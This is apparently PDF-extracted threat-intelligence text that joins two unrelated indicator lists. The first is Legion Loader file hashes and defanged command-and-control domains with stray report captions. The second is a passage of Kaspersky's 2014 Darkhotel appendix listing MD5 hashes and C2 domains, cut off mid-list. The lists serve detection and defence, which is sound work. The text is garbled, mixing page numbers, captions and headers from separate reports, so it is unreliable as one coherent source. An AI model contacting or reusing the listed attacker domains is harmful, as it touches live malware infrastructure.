8d6a289bd8f37b89194948bb1b111660015b7ef59dd3a6956c2ac13f0834b4a8 9443f6eb45bb7531660edc1298dad119a9f3ff117916a9b507dbd5ad568f1598 a880c587076db516f296b727e40c330527f7a2b07c4892f901b372cb2f248fe8 aa5d4c43d1849292d2a89fd32d8ebd8a966a6859a55596563b6dd2e7a3215c18 b80edd66f1e9a3cb3485c311e38b5f419d93c04bcc36d3040f2fc34850fea81c b8c19a4291da50c31ebd6e3eae610440746caa11863229dce9c47c1dc1b56ec8 10/16 bd61ebe590f41655fccfc5edb3f02a62a8ad3cbc0da709a34897a2cf4660dd1f c05d37f585b14c6293d7fb2cde9d96abc2ea9ee4c201cdf81a13bb35e0eee3fb c2fda41eb7326569ada6c4d739ac95ce68092dbf22a28ec8a4eb1751f42f8d9a c3608a8a066986e6881e164051813e1294952eb4eb8beddd2d67880586a00e62 c762b04e5c4f20fe1f0f179e031916e7f91419a8153fc236399430a28955879b ccf6d1b7d47d8357f30411b81b6fb088bd2fb475b28019995889c746f44144b0 d1a5131b0194a2e004fa82a8531548c8b880efd619b7ffe220a132b732878590 d4f2e466297be77e0f8efee83099f3e782877a1cba72c292cfd93d07f760dd5a d536cb602c3bb7ea7bdb70b6a4539ddbbe09ebd374b8bb3e501f6b8ba55af263 d730cc79aa420aa40b17b473ba7630cfbeda2ed8e9545bbbeb9057f208872b18 de0a08996532e8ae19dfcff3f2c2d18a3a54e904cda8c655c6d233afc7eecd12 e2b81bf2379dc693f82312026b420c45b4f3ea914b1272818e990af05d060645 e497bd74a134b10d6bd5385cd59fe4c60758bc5135c970422cb868e6f801ce02 e7bd5233b7284b50cdc40e9f3105d10aca695e5787dece60dfe6a4ffc4f77923 ed459c57355792778c4682671ee2df6e52d1f08ddfc2decab57179346f879eae f1c3649e5f680ba76643e0a83d2769bd55a2933b02ead9020556caf96af26c85 f3806426cc766cc99364e636aaded2933317459ebb78098e27d37203b3f1753d f381e639ebf723b8aea5238545c5b069e59d1c3ea9852dd835f9e783082d1576 f79e1578923cf520bee1183607c65c12a390498f6faea7d3af1d79af6fea26e1 f88a7a17b516505edc21c52756afa1302a3dd03402bf0006ada6472f76d540aa fcc5a956c6a26326d2ef51aa71f9996dc7e5003f332f24619464c5187b3008c2 Dropped Samples (SHA256) 056a2eb3925ea9a3933ed5c8e1b482eae5a098f013b1af751ec9b956edca12e1 0bae194c23b5fe3d73ccdf8267287c6e8fb66ed17cbdcce36c0da7583e8e6b49 11/16 0ce45db58b6f12dc8cfc4d9d94e0ed8f596a9175a804b24817f8b8f24d1ea72e 0ce93f4cb43f21920d1fc0b04122327cc12838ba909d70f58bb58fcc661482c8 0e22f00c71588b2cc1206a01ae11e5cccc70a2cef7d00317be9bd97c73249a3f 0e355775044e0618395724e91820f979fd792149a5c993b74db02d3ca27f18cb 0f12ea3082491a32a67086f12657fcb48d740cab22a568b25eb16635ceb4b9a9 10084850b03a65bc94899e41680e6207ab71c6b96a7bf65f6086fbba41cc7b5c 14494be156326c7c7ca62b7cdf60317e01792136d9fc0c83247a7ee2eeab6c00 1725a07286362ca6cb164b0f297bc4cea0c567d13b477c069ed3cea190e89090 1875678d1097f47c742b09428f570f65a834d1f81e06e336535bfa62633e562c 1c74add22536cd48afd35130b5c8e2904af5485aa0ee46aa9af9cb1793ab3bf4 1e0ca8506a8c6dece660e3508463cb2b4b7609bb8c42307a9ad6605ed5aec62f 2a4108922238e45a94bb7a16fd40db1f5b590ed9ba2f777eb67787488eecb1d7 2a4c9b7f6b74a6bbe80663c9fadb63f31a558ff396a174b75830547657e24dfb 2ddea6aac519844a3c3ea6faaca267b67cbc853b8708a9523d9aedab0e2086b4 3078f6416fb334304ad456b97bc7b2322cc3e9419f4dbbc7d0dd2a6c98be0061 30ee0ef8b2f6820f9a2bfd6622a80c9fa22a9a185a3e453c9393fa9eeaa117be 319fb28bdad36a09e693cc97649670c3fbd39df1cfec4ee20385e23092a97e4c 3a46bc6ba261a1404db05fceec9989912120ad68ecf1b1886134070f94e2246f 3f987e48220a80724d1de41d4bfb1d365ab9986a700f49e8acc7b4d53f5e6471 482c26795c473fd28033bd1009e8315c3df4edb3266742e890b928836e6f08e6 4c09f6650da6686ca72c43e998fbbd2ab0387f666345a0ca40910bf53d0d9927 4c5d3081981d5400f18cecc96489dabb987b8390c36b4ebc447b5cac37bb1a88 4f523cbbce05aaf69ca59aabb554125f9c8dbb44c95d715679516160c949fc23 4f71844ecf1f290983515abb75804e6a6615a37536acbd10f267679feecaa9fd 12/16 562e50801d7359bd5348a9b1d38f325cadb9ab9e298ff89c62e2d999ff826ce5 615626311e5585ca29b9d589fd213e8e1195f9c99c073e5aaf2bda6eeeb896f7 6532098adf0a7e43c46db0cb417a6e319b71764f613821b14ff247c9fb2efee7 69965fc0fb3884998567ec5e1693da58243248d44f9f8db6f11382566c6cd42f 70b636f7d49610856bf6abadb156697bd5e362da4962540133e88586e935c471 7709bb0c90a9cd174687ccf0911ed2ffeee18de4d9b78510a7530034b9141db9 793737c570e27b085ddbcd28c87d22b4ae0d3a6d092357705793cdf9678016cf 7ab3bb1e2783b8ddbb5581cde1cfb97fdf2c105ed0063a08abe2c2255d703315 811bded1035e8073b23470dd3d77ca85385a594a46dabc5892bb878e7148a0ac 84f6be18bb40cb9a3f08186e200492858b3265070629f917aa30d22ae125a712 8b763d5245d522987d5fba368b610147b7b602b0219fc31b6f3a5c90b37c173e 8ff13ca75a4d04587eebf32b66becfe90280690407d00c19eb7aaddc249f83cf 928cea1bc5bf99b0650c2f57133694d017f32c2337ad1fe50688bb3245041659 955ff926d734df2b9c7dd300fcdca0f3f2117b2d82719066a3c06041639c9c03 a153db1039abdc3c53db64939cde3b3da2fc6b04cdb5e02de67ef7ab837e5aac aa2b785cc249d4e41f5133cefbdb3da5484e63a18090fcc70da09dc5f1c7119b abdf3e9c36603953185d9ae75eef134941ab5c2e8407194cfe785cb95e254424 acc572e60a1b438236ed6eed53f1a173e47ca74841f43af30320e6282060dd0a adb47a69e4be076b7c625062fd33ed4d239ce9d5e38f233a6bb5c9b234121458 b165dce18dd17ead4984c506bb9d2861b4ac07775d6223735802e7b372211f80 b198bbc48a4a8bb2d8a393db390e31b317a7b1637215bc9e8e2c2ef2d23bd12f b79a4f6154e462de4de7c78373520d54388c0324d12e3c93dd50d637127efe35 b8db44f047337d9352ea04d6e4029c8817a6b5fc96c3b109e9522d615bc6580e bb39a5762493cd07009fe7495f33099df3d350f484cc0e8242ebdc173a0cf3a9 13/16 bcfb71a0fbebf4dc471e4e4de8a2326eee4cc2676e307a1eb4e0e9f3d254c2ee c6469fa0c5fcdddb53409ac98eca5a315d8230c7dd074437d61c9008d76e7d67 cbca8246cdf5bedad9bf98414211f26b1f46bbfbacd108b52cdb4f1a1a2d1cea cd9fd3eae8fa647d3c10734702e7c8aa812c0ec1e95fb9d54e1dd3900f24be97 d21ebbcbd03f3bd1b185a6d933e6865a63914aacdeed3304610f5180cf9014b2 d3e9a49b228f3f873b95990fac665279b75e17bbf7288c2d5e3d114240d96209 dcf61acaebeac3b4751fbcbc946524cbe709cdfed1b67fe7c4421e889296171d e27a5fe1c99fd2cd91fa0154fbbce0ff0c5d2de363038a839089054b2934dab4 e5372c3eeed59074c6346702c45b8ace7299a42ccce7cb7791b00f9fc8c4ca36 e71579ea4b6f003d359db2c53c224514aec83a70b61a5d3648a7647e4b3d2b81 eb33d6e5f19ae156e179a05382e42c7a5f576cbf73d27edf586d80412c241629 ee0a4e00992382159296ee165789910fc41b1bfebd702a724e783300e72ba027 f1ac98b76aec34e05930c0fe80c89c38edf3cd34657ed17bc414a6dbbd6553c3 f3674f3a2a9e24fba71e0c4db02d150128983d2199c62f3d43e7d2cf3186da93 f8a69b36bd8df897f9cf9895f77b57a98233b5a6819b26ea579efc63dd403a9f faa351658d25453883b47cc1aa6b7e530a375649155a73ed75073fb0b5edb120 fc19702f1749dc163c927d6f2016a71a867f66eb33a77f36beb566366c08c775 ff888f5eeb702d37e899c1d2d5c4b273edcc3e4e35bf8226014f4022fc9121a8 Legion Loader CC Domains http[:]//4tozahuinya2.info http[:]//craftupdate4.top http[:]//ddtupdate2.top http[:]//fastupdate2.me http[:]//fastupdate2.top 14/16 http[:]//fastupdate4.top http[:]//foxupdate2.me http[:]//gmsmz.top http[:]//kisshit2.info http[:]//lowupdate4.top http[:]//luxurious-crypto.com http[:]//myheroin2.info http[:]//nonstopporno1.info http[:]//ntupdate4.top http[:]//rrudate2.top http[:]//rrudate4.top http[:]//satantraff2.info http[:]//slupdate2.top http[:]//snupdate2.top http[:]//snupdate4.top http[:]//statinstall1.info http[:]//softupdate2.me http[:]//softupdate4.me http[:]//ssdupdate2.top http[:]//sslupdate2.top http[:]//sslupdate4.top http[:]//ssupdating.me http[:]//stnupdate2.me http[:]//suspiria2.info 15/16 http[:]//updateinfo4.top http[:]//upload-stat4.info http[:]//whereismyshit1.info http[:]//zdesnetvirusov2.info Built-in Crypto Stealer CC Domains http[:]//legion1488.info http[:]//legion17.top http[:]//legion17.net http[:]//legion17.best http[:]//legion17.com http[:]//legion17.info 16/16 Untangling Legion Loaders Hornet Nest of Malware Caption: The hornets nest buried within Legion Loader The Dropper Legion Loader Caption: Legion Loaders initial CC check-in. Caption: examples of hardcoded payload URLs, targeting US and EU. A Legion of Malware Caption: DllBytes32/64 variables containing UACme .DLLs which are used in order to bypass UAC. Caption: gzip-compressed, base64 encoded blobs. rdp blob is empty in this example. vmt, clip and cfg blobs contain various ancillaries which are required in order to set up the RDP backdoor. bot bot64 and rdp64 are the malicious payloads. Caption: contained function react is called to deploy the blob. Conclusion IOCs Darkhotel IndIcators of compromIse for more information, contact intelreportskaspersky.com Global research and analysis team Version 1.0 november, 2014 mailto:intelreports40kaspersky.com?subject 2 TLP: Green For any inquiries, please contact intelreportskaspersky.com contents appendix a - related md5s ....................................................................................3 downloaders, injectors, infostealers ..............................................................3 appendix B. fully Qualified domain names, command and control ............... 12 appendix c. code-signing certificates ............................................................... 17 appendix d. malcode technical notes .............................................................. 58 small downloader ......................................................................................... 58 technical details ...................................................................................... 58 Information stealer ........................................................................................ 60 technical details ...................................................................................... 60 trojan. Win32.Karba.e .................................................................................... 64 technical notes ........................................................................................ 64 selective Infector ........................................................................................... 67 technical notes ........................................................................................ 67 trojan-dropper Injector (infected legitimate files) .................................... 67 technical notes ........................................................................................ 67 enhanced Keyloggers and development ..................................................... 68 technical notes ........................................................................................ 68 Keylogger code .............................................................................................. 68 appendix e. parallel and previous research ..................................................... 73 mailto:intelreports40kaspersky.com?subject 3 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix a - related md5s downloaders, injectors, infostealers 000c907d39924de62b5891f8d0e03116 00ca5c0558dc9eba1a8a4dd639e74899 0183bac55ebfad2850a360d6cd93d941 0396f7af9842dc5c8c0df1a44c01068c 03a611a8c2f84e26c7b089d3f1640687 03d35ef3fdf353fe4dc65f3d11137172 043d308bfda76e35122567cf933e1b2a 04461ee7c724b6805820df79e343aa49 05059c5a5e388e36eed09a9f8093db92 061e3d50125dc78c86302b7cfa7e4935 06206fe97fed0f338fd02cb39ed63174 08a41624e624d8fb26eeed7a3b1f5009 08b04d6ef94d2764bfafd1457eb0d2a0 08e08522066a8cd7b494ca64de46d4f7 091e4364f50addd6c849f4399a771409 09e7b0ecd5530b8e87190dee0f362e13 0bd1677c0691c8a3c7327bf93b0a9e59 0bfbd26a1a6e3349606d37a8ece04627 0bfc8e7fa0b026a8bf51bbea3d766890 0cbd04c5432b6bfb29921177749f3015 0d75157d3f7fbf13264df3f8a18b3905 0fe3daf9e8b69255e592c8af97d24649 101244381e0590adecf5f2b18d1b6042 11e85a6e127802204561b6996d4224b6 121a9ea93f3ed16a1b191187b16b7592 12b88e36170472413a49ae71b1ac9a33 12df4869b3a885d71c8e871f1a1b0fde 1300244219cb756df01536692edebdbb 131c5f8e98605f9d8074ca02fd1b9c34 131c625a92dc721c5d4dae3fb65591fc 140b27db7d156d6a63281e1f6fc6075d 15097b11e3898cb0be995e44a79431f2 151115ddf1cd4b474a9106cfebcb82e4 16139ce9025274a388a4281fef65049e 16e378d5f0a15fbd521b087c0951a2ab 173abb95e39f03415cd95b76e8a2f58f mailto:intelreports40kaspersky.com?subject 4 TLP: Green For any inquiries, please contact intelreportskaspersky.com 1743dafa776677e232d20506858d9a4e 175aa0d1bdebfa60de29b90ab2c62189 178f7fe2d3a2bda46c0e78f679ca5a62 18527b303c0afe91f5ae86d34b52eb29 18527b303c0afe91f5ae86d34b52eb29 1971ee25847d246116835c7157cf7f89 1a2e52e5ac18cfe091bb3ac1cb38f050 1b0c2c6c19404112306a78ecf366f90b 1ec49ae6d535bfb3789d498f4fd0224f 1ee6676e122fcd22e80b6ae0dc40c979 1ef21e634f9779280710e87ff17a83af 1f29ec5ab8a7c2ccda21576f29cbb13b 1fcaa239cf4d627078179f6de299f320 2024679f61cf9ab60342eca58360737f 216088053dac46fcd95938568c469fa6 21792583ab4a7080ceaf2c31731b883e 21ba9d9d914d8140c1e34030e84213f4 236df260f858f9a6ca056bcdec6f754f 25102d64dbc9b6495c5713f3178dd7f1 26b34d3df337407c7618f74e9a82eb9f 26b7b5d019d7500efdb866f1d20d2000 275e0786b6294ffd05f45df435df842c 27db26077f849e26ba89fcafd2f0db92 27f2f32ba938b1747f28ffdd2f56c691 2802c47b48cced7f1f027f3b278d6bb3 28b1569109fcae8cfcdcfbe9c4431b66 2aac9d340620da09d96929ba570978c4 2b443cc331fec486a6ccbcfcd92e76a4 2be3a8dd0059e291022ad32bbce0e5d1 31e0788c9c2e16db1ae1002f0dbc837e 3260c9f881eb815b7ef3f5f295fc5174 326b44e73fccece89326fd865da61f7f 35a15355c96be225507ebed1ec434d57 378177ddc1fd7d213b79c033da26327d 38b919f37501fc3d54f8f1b956448a92 3961caB50c32e8f32fe45836B9715ce5 3961cab50c32e8f32fe45836b9715ce5 39fc4a3ea44ab9822ed5e77808803727 3f39c6dea5311167cc7ff62befd4ea7e 41b816289a6a639f7f2a72b6c9e6a695 5 TLP: Green For any inquiries, please contact intelreportskaspersky.com 41b816289a6a639f7f2a72b6c9e6a695 428eb3305d4d4c9a8831e1d54160ed65 42a3bb917778454fa96034ad4fb17832 42b9fea2ec56a90cefeecee3c84aade0 436b853cbc87ba3a99131ce2d64a512d 44300d48fccd5aaf27f4c863421c0d47 44e520bec8a3e35f6f6ad52e97911e14 45a4c8c01ec94e1db83b86e05dc9e851 45b94e90cab94d9f873478151a80703d 48888cca68db492c87892524146e8ae3 4d275adbd318f182fa0ec0275cf217b4 4d840625c5ca9a4f1cbd35d4b1ca2452 4f377a8344baa76afe9103ca843e315f 4fc1b3dbf9dc44278f990d57913d96f6 50ac685d25033962e04adc92c8e70785 51c1b9b3df00de5e08c4aa3a2b864a54 51d3e2bd306495de50bfd0f2f4e19ae9 51eaec282b845bc54dbd4fbce5bb09d8 522cd120fa4b1517a60fcf8be3e71ff4 53dc9866fd77fe4933eea3c08666c7bb 55b125da1310d2b37f18ea4e2ae8192b 5607a3ccdaf748fd5cd2d1bec4a771bd 57099403f28d2ce79cba11469c8be971 57dfd2ec5401d9a3d68b4d125e1eb308 5b7b8d3b844b4dbc22875a2a6866a862 5bbdb09ec6ec333a20de74fd430b2bc2 5dee5ad9f12f89fcf9fdcf07ebab3e5e 5f05acd53cfd91fb4dba3660ad1e3add 60af79fb0bd2c9f33375035609c931cb 63409ddbd5316bae8e956595c81121ab 65460ec31dce97c456991ba5215d9c43 686738eb5bb8027c524303751117e8a9 687b8d2112f25e330820143ede7fedce 68ca3d3fc4901d1af8d3adc3170af6ad 697e77c5ef4cf91d5a84b0b3f0617887 6a37ba1bac5fb990fbd1c34effcb0b9d 6bb1a12416c92f5ef12947e2dc5748f9 6ce73a81f0e4a41ffcf669e6ace29db6 6de1b481ae52fbacd7db84789a081b74 6f1a828a2490099a3ce9f873823cce7c 6 TLP: Green For any inquiries, please contact intelreportskaspersky.com 70a0412d19d55bcab72e76c984694215 72869fc63d0ba875dfc539d2bcd48e4d 74d403244db05f7c294ca0777a9f7a9e 76dd289fa3dd8f36972593a006b771cc 77669d11c3248a6553d3c15cd1d8a60e 7bab3a69ab65b90e47d5cc0724531914 7c2eeda3bb66b2c29aa425ba74c780c3 7d304a9cdcda75b1cb9537618f5ed398 804dceb3fa2b9bcf65595109b9465bbc 82ab0b8246c6677f9866b17794b72e2d 864cd4a59215a7db2740dfbe4a648053 86b18e99072ba72d5d36bce9a00fc052 89de19ff50dd58eda2b136b65feb3fb0 8c01d9a2c13ebc8dc32956336a6bc4f5 8f7a7d003cafa56c63e9402f553f9521 90f26c5c4b3c592352fcbddf41dc18aa 910a1f150a5de21f377cf771ed53261f 912a8c7cf1ad78cd4543bfb594c7db58 9a2f2291686080a29f4c68bdc530887f 9bc355cbb5473f4f248f3e2be028ec0b 9c5cd8f4a5988acae6c2e2dce563446a 9ccc7ce97f8ee0cd44d607e688b99eca 9eeae870f22350694eb2e7a4852dbb7d 9f08b8182c987181fe3f3906f7463eac a44577e8c77ef3c30749fe6ec2bb55a5 a49780f2da2067dd904135fad3af8a90 a71f240abb41eb1e37ff240613d14277 a7b226c220e1282320fca291a5100f93 a8151939085ce837b3a7deec58efa7b4 a9faa01c7cf7150054600fc2ab63e4b6 aaeb3b0651720a3f37a0c2f57c92429c abdcde9cd1f9135e412f7bb0a9cafbc9 ad0f9ba1a355c5e8048c476736c90217 af26f60a80171c4337117133f1c2ba5f b07f6065011621c569fc2decd27056df b1048d7d2464f27a19b2adbf310158b1 b2b29dcb1251c8b1c380f00834297857 b4cbafc20d19b06a4ab670129a3ae5aa b6428851df75dc91bb46583b97d9a566 b7d1c3a03e92b24e9052e75ea381ea4a 7 TLP: Green For any inquiries, please contact intelreportskaspersky.com ba87428a298f8acf258b2f4f814bd9b9 be7acfaf90c8fab44393345704dd2b69 bf700fa187cc22d591e1ec4e7442145a c12fe91f0c39c2460ea304ffc250918d c322e499729291451437d46c6f05b920 c49e6114fa3de4f823010e852d891896 c4ac4924544877cd100e53f1115c7df9 c5a9ec966196a03e53fd1869764d8507 c6cbb4ea6aabf4a58659cd13fa0b024f c82ca00476d7e8532d055bf2cc2c9d59 c9f95fc8219750b7c47325a0b84e9373 cdd5afba31e91706412ba58fff2b4d31 cf95ab8c4cc222088de00dbb20374d69 d580cab0c05dd78215fd6252934c240f d96babbde694df227a9af4b4b61483b3 da608f216594653a1716edd5734cd6e1 da6c390915639c853612cb665ac635f4 da6ed3cc582b4424c96b8ca73aaeb8ad dd555740dcabb3dab3ea1fc71273e493 e070293d03cd3524e5db9fa4770589a5 e2ed43a6bbb72c927a4e083768e47254 e271ba345eada5f56471c5413acf52f9 e2b5c47156508a31b74a1f48e814fbe7 e579157fb503b5cbd59ce66f5381575c e5a31be7717c12a3cf9a173428ac7c38 e62af1303ed81f1ae69a1c3b1f215d88 e65fddac2ada261adcdcde87b4dc5540 e9f89d406e32ca88c32ac22852c25841 ec4be1af573e5c55023b35bd02efe394 ed2119548aff161ff97d6837e6a08e84 ed9f539ddabdab8a88491ee38f638b64 ede6a67f7956686f753819c46f496c84 f1368a2e56ae66587847a1655265d3c9 f2231ce84551fbd8a57e75fb07d7f6c0 f47cdf5bfc7227382e18f8361249212b f5d745e7a575b7aecae302623acd6277 f602fe96deb8615ab8cefbd959e1d438 f7084cf91278eb8176c815ec4e269851 f97ec1cc844914a9aa8dfa00d1ead62e fe7efa9f0417ba001c058b513518f4cf 8 TLP: Green For any inquiries, please contact intelreportskaspersky.com a6f55037cb02911c5624e70a67704156 a131d12bc9ab7983b984c81e5e7e108e 0367f890595cf28c6c195dfabae53ba5 adab033d420206fcd2503643d443956e cbbfa76cd5ed22a8c53f7f7d117923e5 93283599dbf3b2d47872dafae12afb21 d8137ded710d83e2339a97ee78494c34 93283599dbf3b2d47872dafae12afb21 06ac12b8c51aec71cefcf8a507d82ce4 3165b7472a9dd45cde49538561cba59f 043f0dcea6f6fbd1305571e6bf0fa78c 17c99725043fa1573fd650e57c3c75d3 0393036f35a7102a34fadfd77680b292 01cbd90ba5cf7e9595b208e4ca2d2d15 032a7c67332a3abf6da179ed265e6e04 23f7fe611ed2bd814bbdbfae457150b3 example md5s of files detected with Kasperskys Virus. Win32.pioneer.dx and symantecs Infostealer.nemiminf: 00d8dd7ec8545134bdc2527b4190078b 01d09407d09355a821ba23ffb58ec40d 033d922f3f56f9ea7c976f31107e366a 043c84cef3e011e3dc731d643a205f4e 058efdf7d94c5da920a3c32cbadac2d0 0b6caacd4081d3b18e847a40c1b6a7f3 0b727001dfc90cc354bd2ccabe3c23a5 0d3e3fd44faa32e0d83b02c8b7cff49c 0d48f948b3c47d0c08e8ee026b8f4670 0fb91846ab9a4e9667c81154829f888b 1d399370e82b314ba20c21ff4ee82205 1f9d915d331f7e363c39108f41145c44 2431db868ebec1b967f5ad38abfd95c4 255f7842c6f07a6a1500a30fb4d27d54 35994a29128c08bed6f5d4aad28f102b 268d17f3763246ac27de7dc8024f23fa 40591b4ba82e0347b33098f6652640d6 4286ee45e9fcc2db3ddfad38426b7f50 4a0fa9be43cc84b5beb0b484227edfcb 4ce790e8438ed3a644984eb24452dd42 4e01e648645d041d52af9dbb09e442ef 9 TLP: Green For any inquiries, please contact intelreportskaspersky.com 4e8ea6bfacf9766f25af12fd63b16ce9 56217179283737f5c46c0a64ebe28a82 5cb91f0c3a1452176007dcc594ec02ce 5f05b4aff89a07dbac9914ae3cf1314f 611c4440aa2587f54702e7e58b7be75f 65f7b330bcc7aeebf8d84afa0b23bf02 67b96c2265e44ccfad708c9387570ab4 69fa0bfd74d0db4ad734b9944ea71ec3 6a79c842a6edca3460b0026cd16c3670 6acd47c45a3e031411af351b3be5f82e 6d3839c312976ba96e89ab6a243aef8f 6f7ec5ff103e4ee038a54816c6b9bc09 720af0fa1f2633b1b73c278a0a016559 729a2f6c7e95075ff36947bc5811a5d3 752c351778a8a18245f132dafdc54599 7a5256dda43cb459e99c0073f1e8f07b 7ad3b74bec51678622e21f57fb82e136 7f608ebfb9b1c81cb07eb8f26fd7647a 83f0f16fb86d6f67ca158d66c195884e 873f26caddfe1e9af18181d8f5f18368 8cdd3b6c577a17b698333337dd1cf3e0 8def236d23dea950d9b1b222cb9a463a 9305008e17b0805118a6a9bb45493441 965e7d4785d23ba6b6608c1245586eba 98b07144f4f5cc95348b39d6bfaeb56a 9978ced410a7dfd3a21ff59cbe1e4303 99a2cca89d044148aa3379cdf2e899fa 9a56bb6c022b3a2ab40d2b308ddf7015 9ba119cf7107d6f4f910447c90c4985d 9c3b06ab28840239cf1d0ecf4a45f6f4 9cdbd5955fc3bf6da5c00e0804b6d6a8 9d248e5cc726f2aa2fa4f06566a2d5b8 9eae89f27c8fbc5896fc7e540e4cfd4a a07db3237b6bd9789b5f1126ea7b0195 a1467e57ea55030e45325d3987db9fca a6b0406dff68430aac6a5b738731e7d0 a855b983f1f414461de0e813e2f72b24 ad35db962130becfac1de2f803a119ae b164febacafd2ab33f203fc5faecd531 b44a988d18264735f39efc2001b29c63 10 TLP: Green For any inquiries, please contact intelreportskaspersky.com bc6a78142fa68af60e4edc06d28a2f28 c25d146b4cf05f7aaa9aebbe8d1563db c34eb5aa60373119a03cfd90a5fea121 cdf5267225e6994b4670bf49ba50595a d46204e579808d520affcc71a7d35cda d73b08376c7cdf355d31b05a71c8c5ba d8137ded710d83e2339a97ee78494c34 dd6c020e4a9c112c1776215b763f7525 e4fe6fa6e540cdb77807401aa2121858 e52b7d5391152da89b1db64060ba96ae efda0c1d8593d3ab3a7c079b71a0f2bc f7d0d5fc6b01a2e0f3a1c021bab49437 fcd2458376398b0be09eaa34f4f4d091 e8bfb82b0dd5cef46116d61f62c25060 a47f6878da6480089c2ff3bdddbd7104 9f56c7f03370692f1d4761ddb848daf5 3e38b8ccd38682ad4ec1f0fcfc1fb16a b5ab66687d53914a65447aacc8fb3e88 fda0320d1e28bc022e4d9e9aae544db4 29d76d34d8878f7ac703837ec774f26a 1bfc1b606fc8aa85e1094b01b08eafd6 64c4d56457516a646d10732f24214cf2 3e38b8ccd38682ad4ec1f0fcfc1fb16a b5ab66687d53914a65447aacc8fb3e88 2600671b87dedbb50ca728285eb141b8 5b7b8d3b844b4dbc22875a2a6866a862 da608f216594653a1716edd5734cd6e1 cd1134ad11d21b4626e28cf5a9eb6f0c 53bc1a9d19aae7f783e019ec7613c366 ebe6b78006ecffe1511f46c86d16f4aa c2d00fef0659640c1345967d2f554278 fe95141837ae86cb02a1bbf6a070cbb4 a0b0389eb9bbfe1839d3da7a1995da3f 822871578022c1292c9cb051cceedfe2 ca7e5ff32b729d0d61340911a01a479a 35cd5ca2e33400a67345b00ef6db3ff6 11 TLP: Green For any inquiries, please contact intelreportskaspersky.com a45e0f8a404d846289f3a223253e94a9 8c3fc5e341d7df51ea9b781a55908e82 e8190374c3d962f5c2cbb5e30007216c 9a0963dbee2361fa9cebaa6e0e517774 397e492f1f65ed9a3c3edc9c7a938f01 12 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix B. fully Qualified domain names, command and control 163pics.net 163services.com 180.235.132.99 203.146.249.178 22283.bodis.com 42world.net 59.188.31.24 88dafa.biz academyhouse.us ackr.myvnc.com acrobatup.com adobearm.com adobeplugs.net adoberegister.flashserv.net adobeupdates.com albasrostga.com alexa97.com0 alphacranes.com alphastros.com amanity50.biz anti-wars.org applyinfo.org auto2115.icr38.net auto2116.phpnet.us auto24col.info autobaba.net84.net autoban.phpnet.us autobicy.yaahosting.info autobicycle.20x.cc autobicycle.freehostking.com autobicyyyyyy.50gigs.net autoblank.oni.cc autobrown.gofreeserve.com autocargo.100gbfreehost.com autocash.000php.com autocashhh.hostmefree.org autocaze.crabdance.com autocheck.000page.com autochecker.myftp.biz autocracy.phpnet.us autocrat.comuf.com autodoor.freebyte.us autof888com.20x.cc autofseven.freei.me autogeremys.com autoinsurance.000space.com autojob.whostas.com autoken.scienceontheweb.net autolace.twilightparadox.com automachine.servequake.com automatic.waldennetworks.com automation.000a.biz automation.icr38.net automobile.000a.biz automobile.200gigs.com automobile.freei.me 13 TLP: Green For any inquiries, please contact intelreportskaspersky.com automobile.it.cx automobile.megabyet.net automobile.x4host.eu automobiles.strangled.net automotive.20x.cc autonomy.host22.com autopapa.noads.biz autopara.oliwy.net autoparts.phpnet.us autopatch.createandhost.com autopatch.verwalten.ch autophile.00free.net autopilot.verwalten.ch autoplant.byethost11.com autopsy.createandhost.com autoreviews.dyndns.info autorico.ignorelist.com autosadeo.000php.com autosail.ns01.biz autoshop.hostmefree.org autostart.waldennetworks.com autotest.byethost4.com autotree.freebyte.us autoup.eu.pn autoupdafree.my5gigs.com autoupdate.eg.vg autoupdate.freehostia.com autoupdate.megabyet.net autoupdate.zoka.cc autoupdatefree.freehostia.com autoupdatefree.verwalten.ch autoupdatefree.waldennetworks.com autoupdatefree.zoka.cc autoupdatefreee.my5gigs.com autoupdates.5gigs.net autoupdatfreeee.coolwwweb.com autoupgrade.awardspace.biz autovita.xtreemhost.com autovonmanstein.x10.mx autoworld.serveblog.net autozone.000space.com begatrendsone.com begatrials.com bizannounce.com blonze.createandhost.com bluecat.biz.nf bluemagazines.servegame.com bokselpa.dasfree.com checkingvirusscan.com clus89.crabdance.com codec.servepics.com control.wrizx.net cranseme.ignorelist.com crazymand.twilightparadox.com crendesting.strangled.net dailybread.waldennetworks.com dailyissue.net dailynews.000page.com dailypatch-rnr2008.net dailysummary.net dailyupdate.110mb.com domainmanagemenet.com donatewa.phpnet.us downsw.onlinewebshop.net 14 TLP: Green For any inquiries, please contact intelreportskaspersky.com dpc.servegame.com ds505cam.com ebizcentres.com elibrarycentre.com err.cloins.com eztwt.com fame.mooo.com fashions.0fees.net fenraw.northgeremy.info fenrix.yaahosting.info fenrmi.eu.pn foreignaffair.org gamepia008.my5gigs.com genelousmanis.phpnet.us generalemountina.com genuinsman.phpnet.us gigahermes.com gigamiros.zyns.com gigathread.itemdb.com gigatrend.org giveaway.6te.net goathoney.biz goizmi.ignorelist.com goizmi.phpnet.us goldblacktree.waldennetworks.com gphpnet.phpnet.us greatechangemind.com greenlabelstud.000space.com gurunichi.createandhost.com halemdus.000space.com heinzmarket.com hotemup.icr38.net humanforum.net hummfoundation.org individuals.sytes.net infonetworks.biz innewsmessenger.com jackie311.byethost16.com jandas.byethost7.com javaupdate.flashserv.net jonejokoss.byethost6.com jonemaccane1.byethost7.com jpnspts.biz jpqueen.biz kaoal.chickenkiller.com laborsforum.org lakers.jumpingcrab.com limited.000space.com lookasjames.000space.com mansgepitostraig.com mechanicalcomfort.net microalba.serveftp.com microblo5.mooo.com microbrownys.strangled.net microchiefs.twilightparadox.com microchisk.mooo.com microchsse.strangled.net microdelta.crabdance.com microgenuinsman.servebeer.com microjonjokoss.jumpingcrab.com microlilics.000space.com microlilics.crabdance.com micromacrarusn.com micromacs.org 15 TLP: Green For any inquiries, please contact intelreportskaspersky.com micromichi.ezua.com micromps1.net micronames.jumpingcrab.com micronao.hopto.org micronaoko.jumpingcrab.com microos.jumpingcrab.com microplants.strangled.net microsoft-xpupdate.com microyours.ignorelist.com minshatopas12.org msdn4updates.com mshotfix.com msupdates.com myhome.serveuser.com myphone.freei.me nanogalsman.org nanomicsoft.com nanoocspos.com nanosleepss.net ncnbroadcasting.reportinside.net neao.biz neosilba.com new.freecinemaworld.net new.islamicawaken.com newsagencypool.com newsdailyinhk.com newsups.000a.biz nokasblog.agilityhoster.com officerevision.com online.usean.biz outlookz.com pb.enewslive.org pb.qocp.net pb.upinfo.biz photo.eonlineworld.com popin.0fees.net private.neao.biz proteingainer.biz rainbowbbs.mywebcommunity.org rayp.biz 